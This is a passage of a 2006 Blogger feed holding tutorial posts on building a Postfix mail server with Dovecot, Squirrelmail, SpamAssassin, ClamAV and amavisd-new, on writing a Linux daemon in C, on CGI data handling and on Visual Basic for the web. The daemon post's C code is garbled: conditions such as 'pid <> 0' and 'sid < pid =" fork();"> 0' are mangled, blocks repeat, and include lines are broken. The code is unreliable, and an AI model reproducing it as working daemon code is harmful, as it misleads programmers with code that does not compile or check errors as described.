$myhostname, localhost.$mydomain, localhost&lt;br/&gt;#Reject the unknown users&lt;br/&gt;local_recipient_maps = unix:passwd.byname $alias_maps&lt;br/&gt;#With this parameter we make sure that our server won't be an open relay server&lt;br/&gt;mynetworks_style = host&lt;br/&gt;&lt;br/&gt;The configuration file is well commented, so if you need more info about the configuration, dig into it. For even more information on Postfix, see the Postfix.org documentation.&lt;br/&gt;&lt;br/&gt;Next, start the Postfix service with the command service postfix start. Also make sure the service is automatically started at boot time:&lt;br/&gt;&lt;br/&gt;chkconfig postfix on &lt;br/&gt;&lt;br/&gt;Setting up Dovecot &lt;br/&gt;Now it's time to set up Dovecot. Edit the Dovecot config file, /etc/dovecot.conf, to suit your needs. In this case we want to enable POP3, secure POP3, IMAP, and secure IMAP services as shown:&lt;br/&gt;&lt;br/&gt;protocols = imap imaps pop3 pop3s&lt;br/&gt;imap_listen = *&lt;br/&gt;pop3_listen = *&lt;br/&gt;imaps_listen = *&lt;br/&gt;pop3s_listen = *&lt;br/&gt;&lt;br/&gt;After that's done, start the Dovecot service and make sure that it's started at boot time:&lt;br/&gt; &lt;br/&gt;service dovecot start &lt;br/&gt;chkconfig dovecot on &lt;br/&gt;&lt;br/&gt;Setting up Squirrelmail &lt;br/&gt;In order to be able to use webmail, you need to have Apache's httpd service up and running. It shouldn't be necessary to do any extra configuring of httpd config file for this task, so you can just use it as is. Start the service and make sure it's started at boot time:&lt;br/&gt;&lt;br/&gt;service httpd start &lt;br/&gt;chkconfig httpd on &lt;br/&gt;&lt;br/&gt;The installation of Squirrelmail will not change your httpd.conf file. Instead, Squirrelmail creates the file squirrelmail.conf in /etc/httpd/conf.d. This file links the /webmail/ virtual folder to the actual Squirrelmail folder installation located at /usr/share/squirrelmail.&lt;br/&gt;&lt;br/&gt;Edit the /usr/share/squirrelmail/config/config.php file and change the domain$ variable to match your domain name, in order to make the from-domain setting (when sending email from Web) correct. For our server, it looks like this:&lt;br/&gt;&lt;br/&gt;$domain = 'srv.dyndns.org'; &lt;br/&gt;&lt;br/&gt;To test webmail, go to http://localhost/webmail/ or http://your_domain_name/webmail/ and log in to check your email and send a few test messages.&lt;br/&gt;&lt;br/&gt;Blocking spam and viruses &lt;br/&gt;SpamAssassin is configured right out of the box when you install it, so you shouldn't need to change anything here. However, to reduce the chance that a false positive will tag known addresses, you can whitelist addresses. The file /etc/mail/spammassassin/local.cf should list known email addresses, in a format similar to:&lt;br/&gt;&lt;br/&gt;whitelist_from anzevi@some-strange-domain.com&lt;br/&gt;whitelist_from anze@out-there-somewhere.net&lt;br/&gt;&lt;br/&gt;Spamassassin will be called by amavisd-new, so we don't need to configure the SpamAssassin daemon to start at boot time.&lt;br/&gt;&lt;br/&gt;To block viruses, we need to configure ClamAV to connect daily to an Internet-based antivirus database and fetch new virus definitions. You need to have a cron daemon running in order for ClamAV to fetch the virus definitions.&lt;br/&gt;&lt;br/&gt;First, edit /etc/sysconfig/freshclam and comment out the following line:&lt;br/&gt;&lt;br/&gt;#FRESHCLAM_DELAY=disabled-warn  # REMOVE ME &lt;br/&gt;&lt;br/&gt;Next, edit /etc/freshclam.conf and change the antivirus database to the closest mirror to your location:&lt;br/&gt;&lt;br/&gt;#Example&lt;br/&gt;DatabaseMirror db.de.clamav.net&lt;br/&gt;&lt;br/&gt;You can see a list of available mirrors here.&lt;br/&gt;To test ClamAV, run the clamscan command in your home folder. The AV client should check your home directory and subdirectories for viruses. Since you are running this check on a Linux box for local files, I'm pretty sure ClamAV won't find any viruses on your machine.&lt;br/&gt;&lt;br/&gt;To test updating the virus definitions, run freshclam.&lt;br/&gt;&lt;br/&gt;Setting up amavisd-new &lt;br/&gt;Now we'll set up amavisd-new. The user amavis is automatically created at amavisd-new install time, but we still need to create the following directories and make sure the owner is amavis, as shown below:&lt;br/&gt;&lt;br/&gt;mkdir /var/run/amavis&lt;br/&gt;mkdir /var/run/clamav&lt;br/&gt;chown amavis /var/run/amavis&lt;br/&gt;chown amavis /var/run/clamav&lt;br/&gt;&lt;br/&gt;You may leave the group permissions of the folders set to root. Copy the sample config file to /etc:&lt;br/&gt;cp /usr/share/doc/clamav-server-X.XX.X/clamd.conf&lt;br/&gt;/etc/clamd.conf&lt;br/&gt;&lt;br/&gt;Replace the X.XX.X with the version you're using. Then, make the following changes to your /etc/clamd.conf file:&lt;br/&gt;&lt;br/&gt;#Example&lt;br/&gt;User amavis&lt;br/&gt;#TCPSocket 3310&lt;br/&gt;#PidFile /var/run/clamd.&lt;service&gt;/clamd.pid&lt;br/&gt;#LocalSocket /var/run/clamd.&lt;service&gt;/clamd.sock&lt;br/&gt;&lt;br/&gt;After making the changes, start the service with service amavisd start, and set it to start at boot with chkconfig amavisd on.&lt;br/&gt;&lt;br/&gt;Now, test your configuration to see that everything works. Telnet to port 10024 and you should see something like this:&lt;br/&gt;&lt;br/&gt;[root@mail ~]# telnet localhost 10024&lt;br/&gt;&lt;br/&gt;Trying 127.0.0.1...&lt;br/&gt;Connected to localhost.localdomain (127.0.0.1).&lt;br/&gt;Escape character is '^]'.&lt;br/&gt;220 [127.0.0.1] ESMTP amavisd-new service ready&lt;br/&gt;quit&lt;br/&gt;221 2.0.0 [127.0.0.1] amavisd-new closing transmission channel&lt;br/&gt;Connection closed by foreign host.&lt;br/&gt;&lt;br/&gt;If you are able to telnet to port 10024 and you are greeted by amavisd-new, you've done a good job and you may continue with the configuration. If you're unable to connect to that port, make sure the amavisd service is running, and look for errors in /var/log/messages.&lt;br/&gt;&lt;br/&gt;Additional Postfix configuration &lt;br/&gt;&lt;br/&gt;Once amavisd is configured and working correctly, you need to configure Postfix so it knows how to communicate with amavisd-new. Copy the following lines to the bottom of your existing /etc/postfix/master.cf file:&lt;br/&gt;&lt;br/&gt;smtp-amavis unix -      -       y     -       2  smtp&lt;br/&gt;-o smtp_data_done_timeout=1200&lt;br/&gt;-o smtp_send_xforward_command=yes&lt;br/&gt;-o disable_dns_lookups=yes&lt;br/&gt;-o max_use=20&lt;br/&gt;127.0.0.1:10025 inet n  -       y     -       -  smtpd&lt;br/&gt;-o content_filter=&lt;br/&gt;-o local_recipient_maps=&lt;br/&gt;-o relay_recipient_maps=&lt;br/&gt;-o smtpd_restriction_classes=&lt;br/&gt;-o smtpd_delay_reject=no&lt;br/&gt;-o smtpd_client_restrictions=permit_mynetworks,reject&lt;br/&gt;-o smtpd_helo_restrictions=&lt;br/&gt;-o smtpd_sender_restrictions=&lt;br/&gt;-o smtpd_recipient_restrictions=permit_mynetworks,reject&lt;br/&gt;-o mynetworks_style=host&lt;br/&gt;-o mynetworks=127.0.0.0/8&lt;br/&gt;-o strict_rfc821_envelopes=yes&lt;br/&gt;-o smtpd_error_sleep_time=0&lt;br/&gt;-o smtpd_soft_error_limit=1001&lt;br/&gt;-o smtpd_hard_error_limit=1000&lt;br/&gt;-o smtpd_client_connection_count_limit=0&lt;br/&gt;-o smtpd_client_connection_rate_limit=0&lt;br/&gt;-o receive_override_options=no_header_body_checks,no_unknown_recipient_checks&lt;br/&gt;&lt;br/&gt;You can find more information how this work in the amavisd documentation in your /usr/share/doc folder. For example, since we're running amavisd 2.3.3, we would check the /usr/share/doc/amavisd-new-2.3.3/README.postfix file.&lt;br/&gt;&lt;br/&gt;Save the file and reload the Postfix service, then test it by using telnet to connect to port 10025:&lt;br/&gt;&lt;br/&gt;[root@mail ~]# telnet localhost 10025&lt;br/&gt;Trying 127.0.0.1...&lt;br/&gt;Connected to localhost.localdomain (127.0.0.1).&lt;br/&gt;Escape character is '^]'.&lt;br/&gt;220 mail.srv.dyndns.org ESMTP Postfix&lt;br/&gt;quit&lt;br/&gt;221 Bye&lt;br/&gt;Connection closed by foreign host.&lt;br/&gt;&lt;br/&gt;If this works for you, you have a working configuration, and you are ready to make the final changes to Postfix.&lt;br/&gt;&lt;br/&gt;Add this line to the end of /etc/postfix/main.cf:&lt;br/&gt;content_filter = smtp-amavis:[127.0.0.1]:10024 &lt;br/&gt;&lt;br/&gt;Once you've done this, Postfix will send all incoming and outgoing mail directly through the content filter that you configured earlier.&lt;br/&gt;Conclusion &lt;br/&gt;All you have to do now is send yourself some clean email messages and some spam, junk, and viruses, and see what's happening on your mail server. You can find sample messages with spam and virus content in /usr/share/doc/amavisd-new-X.X.X/test-messages folder. The best way to see in real time what is going on your mail server is to watch /var/log/maillog for entries using tail -f /var/log/maillog.&lt;br/&gt;&lt;br/&gt;That's all you need to do to configure Postfix and the helper applications to provide antivirus, spam filtering, webmail, POP, and IMAP access. Enjoy your new mail server!&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115736350802036417?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115736350802036417/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115736350802036417&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115736350802036417'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115736350802036417'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/implementing-postfix.html' title='Implementing a Postfix'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115736305626450719</id><published>2006-09-04T16:43:00.000+07:00</published><updated>2006-09-04T16:44:16.280+07:00</updated><title type='text'>linux Daemon</title><content type='html'>&lt;br/&gt;1. Introduction: What is a Daemon?&lt;br/&gt;&lt;br/&gt;A daemon (or service) is a background process that is designed to run autonomously,with little or not user intervention. The Apache web server http daemon (httpd) is one such example of a daemon. It waits in the background listening on specific ports, and serves up pages or processes scripts, based on the type of request.&lt;br/&gt;&lt;br/&gt;Creating a daemon in Linux uses a specific set of rules in a given order. Knowing how they work will help you understand how daemons operate in userland Linux, but can operate with calls to the kernel also. In fact, a few daemons interface with kernel modules that work with hardware devices, such as external controller boards, printers,and PDAs. They are one of the fundamental building blocks in Linux that give it incredible flexibility and power.&lt;br/&gt;&lt;br/&gt;Throughout this HOWTO, a very simple daemon will be built in C. As we go along, more code will be added, showing the proper order of execution required to get a daemon up and running.&lt;br/&gt;2. Getting Started&lt;br/&gt;&lt;br/&gt;First off, you'll need the following packages installed on your Linux machine to develop daemons, specifically: &lt;br/&gt;&lt;br/&gt;GCC 3.2.2 or higher&lt;br/&gt;Linux Development headers and libraries&lt;br/&gt;&lt;br/&gt;If your system does not already have these installed (not likely, but check anyway), you'll need them to develop the examples in this HOWTO. To find out what version of GCC you have installed, use:&lt;br/&gt;&lt;br/&gt;        gcc --version&lt;br/&gt;3. Planning Your Daemon&lt;br/&gt;3.1 What Is It Going To Do? &lt;br/&gt;&lt;br/&gt;A daemon should do one thing, and do it well. That one thing may be as complex as managing hundreds of mailboxes on multiple domains, or as simple as writing a report and calling sendmail to mail it out to an admin.&lt;br/&gt;&lt;br/&gt;In any case, you should have a good plan going in what the daemon should do. If it is going to interoperate with some other daemons that you may or may not be writing, this is something else to consider as well.&lt;br/&gt;3.2 How Much Interaction? &lt;br/&gt;&lt;br/&gt;Daemons should never have direct communication with a user through a terminal. In fact, a daemon shouldn't communicate directly with a user at all. All communication should pass through some sort of interface (which you may or may not have to write), which can be as complex as a GTK+ GUI, or as simple as a signal set.&lt;br/&gt;4. Basic Daemon Structure&lt;br/&gt;&lt;br/&gt;When a daemon starts up, it has to do some low-level housework to get itself ready for its real job. This involves a few steps:&lt;br/&gt;&lt;br/&gt;Fork off the parent process&lt;br/&gt;Change file mode mask (umask)&lt;br/&gt;Open any logs for writing &lt;br/&gt;Create a unique Session ID (SID)&lt;br/&gt;Change the current working directory to a safe place&lt;br/&gt;Close standard file descriptors&lt;br/&gt;Enter actual daemon code&lt;br/&gt;4.1 Forking The Parent Process &lt;br/&gt;&lt;br/&gt;A daemon is started either by the system itself or a user in a terminal or script. When it does start, the process is just like any other executable on the system. To make it truly autonomous, a child process must be created where the actual code is executed. This is known as forking, and it uses the fork() function: &lt;br/&gt;        pid_t pid;&lt;br/&gt;&lt;br/&gt;        /* Fork off the parent process */       &lt;br/&gt;        pid = fork();&lt;br/&gt;        if (pid &lt;&gt; 0) {&lt;br/&gt;                exit(EXIT_SUCCESS);&lt;br/&gt;        }&lt;br/&gt;&lt;br/&gt;Notice the error check right after the call to fork(). When writing a daemon, you will have to code as defensively as possible. In fact, a good percentage of the total code in a daemon consists of nothing but error checking. &lt;br/&gt;&lt;br/&gt;The fork() function returns either the process id (PID) of the child process (not equal to zero), or -1 on failure. If the process cannot fork a child, then the daemon should terminate right here.&lt;br/&gt;&lt;br/&gt;If the PID returned from fork() did succeed, the parent process must exit gracefully. This may seem strange to anyone who hasn't seen it, but by forking, the child process continues the execution from here on out in the code.&lt;br/&gt;4.2 Changing The File Mode Mask (Umask) &lt;br/&gt;&lt;br/&gt;In order to write to any files (including logs) created by the daemon, the file mode mask (umask) must be changed to ensure that they can be written to or read from properly. This is similar to running umask from the command line, but we do it programmatically here. We can use the umask() function to accomplish this:&lt;br/&gt;&lt;br/&gt;        pid_t pid, sid;&lt;br/&gt;&lt;br/&gt;        /* Fork off the parent process */&lt;br/&gt;        pid = fork();&lt;br/&gt;        if (pid &lt;&gt; 0) {&lt;br/&gt;                exit(EXIT_SUCCESS);&lt;br/&gt;        }&lt;br/&gt;&lt;br/&gt;        /* Change the file mode mask */&lt;br/&gt;        umask(0);&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;By setting the umask to 0, we will have full access to the files generated by the daemon. Even if you aren't planning on using any files, it is a good idea to set the umask here anyway, just in case you will be accessing files on the filesystem.&lt;br/&gt;4.3 Opening Logs For Writing &lt;br/&gt;&lt;br/&gt;This part is optional, but it is recommended that you open a log file somewhere in the system for writing. This may be the only place you can look for debug information about your daemon.&lt;br/&gt;4.4 Creating a Unique Session ID (SID) &lt;br/&gt;&lt;br/&gt;From here, the child process must get a unique SID from the kernel in order to operate. Otherwise, the child process becomes an orphan in the system. The pid_t type, declared in the previous section, is also used to create a new SID for the child process: &lt;br/&gt;        pid_t pid, sid;&lt;br/&gt;&lt;br/&gt;        /* Fork off the parent process */&lt;br/&gt;        pid = fork();&lt;br/&gt;        if (pid &lt;&gt; 0) {&lt;br/&gt;                exit(EXIT_SUCCESS);&lt;br/&gt;        }&lt;br/&gt;&lt;br/&gt;        /* Change the file mode mask */&lt;br/&gt;        umask(0);&lt;br/&gt;&lt;br/&gt;        /* Open any logs here */&lt;br/&gt;&lt;br/&gt;        /* Create a new SID for the child process */&lt;br/&gt;        sid = setsid();&lt;br/&gt;        if (sid &lt; pid =" fork();"&gt; 0) {&lt;br/&gt;                exit(EXIT_SUCCESS);&lt;br/&gt;        }&lt;br/&gt;&lt;br/&gt;        /* Change the file mode mask */&lt;br/&gt;        umask(0);       &lt;br/&gt;&lt;br/&gt;        /* Open any logs here */        &lt;br/&gt;&lt;br/&gt;        /* Create a new SID for the child process */&lt;br/&gt;        sid = setsid();&lt;br/&gt;        if (sid &lt; pid =" fork();"&gt; 0) {&lt;br/&gt;                exit(EXIT_SUCCESS);&lt;br/&gt;        }&lt;br/&gt;&lt;br/&gt;        /* Change the file mode mask */&lt;br/&gt;        umask(0);       &lt;br/&gt;&lt;br/&gt;        /* Open any logs here */&lt;br/&gt;&lt;br/&gt;        /* Create a new SID for the child process */&lt;br/&gt;        sid = setsid();&lt;br/&gt;        if (sid &lt; pid =" fork();"&gt; 0) {&lt;br/&gt;                exit(EXIT_SUCCESS);&lt;br/&gt;        }&lt;br/&gt;&lt;br/&gt;        /* Change the file mode mask */&lt;br/&gt;        umask(0);       &lt;br/&gt;&lt;br/&gt;        /* Open any logs here */&lt;br/&gt;&lt;br/&gt;        /* Create a new SID for the child process */&lt;br/&gt;        sid = setsid();&lt;br/&gt;        if (sid &lt; h=""&gt;&lt;br/&gt;#include &lt;sys h=""&gt;&lt;br/&gt;#include &lt;stdio h=""&gt;&lt;br/&gt;#include &lt;stdlib h=""&gt;&lt;br/&gt;#include &lt;fcntl h=""&gt;&lt;br/&gt;#include &lt;errno h=""&gt;&lt;br/&gt;#include &lt;unistd h=""&gt;&lt;br/&gt;#include &lt;syslog h=""&gt;&lt;br/&gt;#include &lt;string h=""&gt;&lt;br/&gt;&lt;br/&gt;int main(void) {&lt;br/&gt;&lt;br/&gt;        /* Our process ID and Session ID */&lt;br/&gt;        pid_t pid, sid;&lt;br/&gt;&lt;br/&gt;        /* Fork off the parent process */&lt;br/&gt;        pid = fork();&lt;br/&gt;        if (pid &lt;&gt; 0) {&lt;br/&gt;                exit(EXIT_SUCCESS);&lt;br/&gt;        }&lt;br/&gt;&lt;br/&gt;        /* Change the file mode mask */&lt;br/&gt;        umask(0);&lt;br/&gt;&lt;br/&gt;        /* Open any logs here */        &lt;br/&gt;&lt;br/&gt;        /* Create a new SID for the child process */&lt;br/&gt;        sid = setsid();&lt;br/&gt;        if (sid &lt;&gt;                /* Log the failure */&lt;br/&gt;                exit(EXIT_FAILURE);&lt;br/&gt;        }&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;        /* Change the current working directory */&lt;br/&gt;        if ((chdir("/")) &lt;&gt;                /* Log the failure */&lt;br/&gt;                exit(EXIT_FAILURE);&lt;br/&gt;        }&lt;br/&gt;&lt;br/&gt;        /* Close out the standard file descriptors */&lt;br/&gt;        close(STDIN_FILENO);&lt;br/&gt;        close(STDOUT_FILENO);&lt;br/&gt;        close(STDERR_FILENO);&lt;br/&gt;&lt;br/&gt;        /* Daemon-specific initialization goes here */&lt;br/&gt;&lt;br/&gt;        /* The Big Loop */&lt;br/&gt;        while (1) {&lt;br/&gt;           /* Do some task here ... */&lt;br/&gt;&lt;br/&gt;           sleep(30); /* wait 30 seconds */&lt;br/&gt;        }&lt;br/&gt;   exit(EXIT_SUCCESS);&lt;br/&gt;}&lt;br/&gt;&lt;br/&gt;From here, you can use this skeleton to write your own daemons. Be sure to add in your own logging (or use the syslog facility), and code defensively, code defensively, code defensively!&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115736305626450719?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115736305626450719/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115736305626450719&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115736305626450719'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115736305626450719'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/linux-daemon.html' title='linux Daemon'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115735985046049425</id><published>2006-09-04T15:50:00.000+07:00</published><updated>2006-09-04T15:50:50.463+07:00</updated><title type='text'>How CGI Data Is Handled</title><content type='html'>When writing a CGI application, the developer has the same two concerns that developers of all applications have: data input and data output. This section discusses how data is input into a CGI application. The closing section of the chapter ("Returning the Results to the Client") discusses how data is output by the application.&lt;br/&gt;&lt;br/&gt;In the UNIX environment, CGI applications receive their data from command line arguments, environment variables, and the standard input (known as stdin to C programmers). By querying the value of one of a predefined set of these variables, the UNIX CGI application can determine the server context that it has been run under and the data that was entered at the client side. The application then returns its data to the server using the standard output (stdout).&lt;br/&gt;&lt;br/&gt;In the various Windows environments (Windows 3.x, Windows 95, and Windows NT), the operating system makes the use of environment variables and the standard input/output difficult. For this reason, the Win/CGI interface uses a spooling paradigm for passing data between the server and the CGI application. Before executing the CGI application, the server creates a CGI data file. This file contains the same data fields that are used in UNIX CGI applications, along with fields specific to Win/CGI. The name of the data file is passed to the CGI application as a command line argument. Likewise, the CGI application places its output into a file whose location the server specifies in one of the fields of the CGI data file.&lt;br/&gt;Decoding the HTML Form&lt;br/&gt;&lt;br/&gt;As you learned in Chapter 2, the client is not limited to simply retrieving resources from HTTP servers. There are also two HTTP request methods that allow the client to interact in some way with a resource.&lt;br/&gt;&lt;br/&gt;The first method uses a GET request message that includes search terms in the resource address:&lt;br/&gt;&lt;br/&gt;    GET //myserver.com/cgi-win/search.exe?last=smith+first=jim&lt;br/&gt;&lt;br/&gt;This request message could have been generated by clicking the Submit button of a form or by some sort of user agent. Likewise, the user of a Web browser such as Netscape could enter the address portion of this string into the text box provided for Web addresses. Any of these three actions causes the HTTP server to launch search.exe and pass it the search text that appears after the "?".&lt;br/&gt;&lt;br/&gt;The second method uses a POST request message. The difference between a POST message and the GET message illustrated previously is that the POST message uses the &lt;entity-body&gt; portion of the message to transfer the form data. This method is used by the Submit button or by a user agent. Because the form data entered on the HTML form is sent in the &lt;entity-body&gt;, it cannot be entered into the address box of a Web browser.&lt;br/&gt;&lt;br/&gt;With the second method, the Win/CGI interface requires that the server parse the HTML form data from the POST message it received. This data is then stored in either the CGI data file previously discussed or in an external file. In the later case, the server places an entry in the CGI data file that specifies the filename and length of this external file. The client application uses theContent-Type entity header to specify how the data is encoded in the &lt;entity-body&gt;. There are two Content-Types used: application/x-www-urlencoded and multipart/form-data. The first is the Content-Type used in most cases. The second Content-Type provides for uploading files from the client by using a multipart MIME message. To date, multipart MIME messages are not widely used in HTTP messages. The Content-Type header is passed to the CGI application as one of the fields in the CGI data file.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115735985046049425?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115735985046049425/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115735985046049425&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735985046049425'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735985046049425'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/how-cgi-data-is-handled.html' title='How CGI Data Is Handled'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115735979780096866</id><published>2006-09-04T15:49:00.000+07:00</published><updated>2006-09-04T15:49:57.800+07:00</updated><title type='text'>Combining Visual Basic and the Web</title><content type='html'>The merging of Visual Basic and the ability to tie into real-time, distributed information using the Internet produces an interesting and very powerful tool. In the constant flux of the Internet, Visual Basic becomes a very practical choice for Web application development thanks to Visual Basic's rapid application development aspect.&lt;br/&gt;&lt;br/&gt;Visual Basic can be used to create both client-side  and server-side  Web applications. A Web browser such as Microsoft's Internet Explorer is one example of a client-side application. It is used to "surf" the Web-browsing the Web pages at a Web site and moving to other pages or to a completely different Web site by using the hyperlinks provided on most Web pages. Another example of a client-side application is an application that retrieves stock quotes from a quote provider's Web sites and provides the quotes to the user in some fashion. This application is not a Web browser but does access Web-based information.&lt;br/&gt;&lt;br/&gt;Server-side applications run alongside a Web server, such as Microsoft's Internet Information Server. The server-side application is executed under the direction of the Web server, typically in response to a request made by a client-side application such as a Web browser. Server-side applications typically serve as gateways between a user's Web browser and information stored on the Web server that is not typically accessible using a Web browser. Such information can include database tables, information-providing machines attached to the server, and even OLE-enabled applications to which the server has access.&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
